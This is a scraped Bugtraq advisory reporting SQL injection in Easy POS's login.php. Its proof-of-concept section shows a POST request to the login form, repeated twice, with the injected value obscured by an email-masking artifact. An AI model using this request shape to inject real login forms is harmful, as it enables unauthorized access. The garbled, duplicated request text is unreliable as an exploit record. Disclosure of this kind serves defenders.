Easy POS 'login.php' Multiple SQL Injection Vulnerabilities
BID:65146
Info
Easy POS 'login.php' Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 65146 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 23 2014 12:00AM |
| Updated: | Jan 23 2014 12:00AM |
| Credit: | vinicius777 |
| Vulnerable: |
Easy POS Easy POS 0 |
| Not Vulnerable: | |
Exploit / POC
Easy POS 'login.php' Multiple SQL Injection Vulnerabilities
The following example data is available:
POST /login.php HTTP/1.1
Host: example.com
Referer: http://www.example.com/login.php
[email protected]&password=admin&submit=Submit
The following example data is available:
POST /login.php HTTP/1.1
Host: example.com
Referer: http://www.example.com/login.php
[email protected]&password=admin&submit=Submit